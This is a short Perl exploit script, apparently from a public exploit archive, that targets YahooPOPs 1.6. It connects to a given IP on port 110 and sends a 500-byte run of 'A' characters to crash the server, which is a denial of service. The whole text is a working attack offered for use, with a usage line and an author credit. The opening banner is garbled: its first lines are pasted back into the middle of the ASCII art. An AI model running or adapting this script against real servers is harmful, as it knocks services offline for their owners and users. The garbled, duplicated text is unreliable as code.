use IO::Socket;

sub intro {
print q {

,--,
_ ___/ /|
,;'( )__, use IO::Socket;

sub intro {
print q {

,--,
_ ___/ /|
,;'( )__, ) ~
// // '--;
' | ^
^ ^

[+] YahooPOPs 1.6 - SMTP - Denial of Service (DoS)

[*] Coded by Fernando Mengali

[@] e-mail: fernando.mengalli@gmail.com

}
}

intro();


if (!$ARGV[0]) {
print " Usage: $0 <ip> <username> <password> ";
exit(0);
}

my $host = $ARGV[0];
my $username = $ARGV[1];
my $password = $ARGV[2];
my $port = 110;
my $payload = "A" x 500;

my $ip = inet_aton($ARGV[0]);

my $socket = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
Timeout => 10
);

unless ($socket) {
die "[+] socket() error: $! ";
}

print "[+] YahooPOPS SMTP detected, constructing the payload ";

unless ($socket->send($payload)) {
die "[+] Sending error, the server probably rebooted. ";
}